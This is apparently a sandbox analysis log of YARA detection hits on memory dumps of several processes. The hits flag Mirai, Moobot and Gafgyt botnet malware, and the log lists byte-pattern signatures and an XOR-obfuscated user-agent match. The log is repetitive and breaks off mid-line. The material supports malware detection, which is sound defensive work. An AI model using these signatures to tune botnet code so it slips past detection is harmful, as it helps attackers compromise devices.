7152.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7152.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7152.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7270.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7270.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7270.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7270.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7270.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7270.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6692.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6738.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7152.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7152.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7152.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6808.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7226.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7226.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7226.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7226.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7226.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7226.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6979.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6419.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6419.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6419.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6419.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6419.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6419.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7023.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7023.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7023.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7023.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7023.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7023.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7286.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7286.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7286.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7286.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7286.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 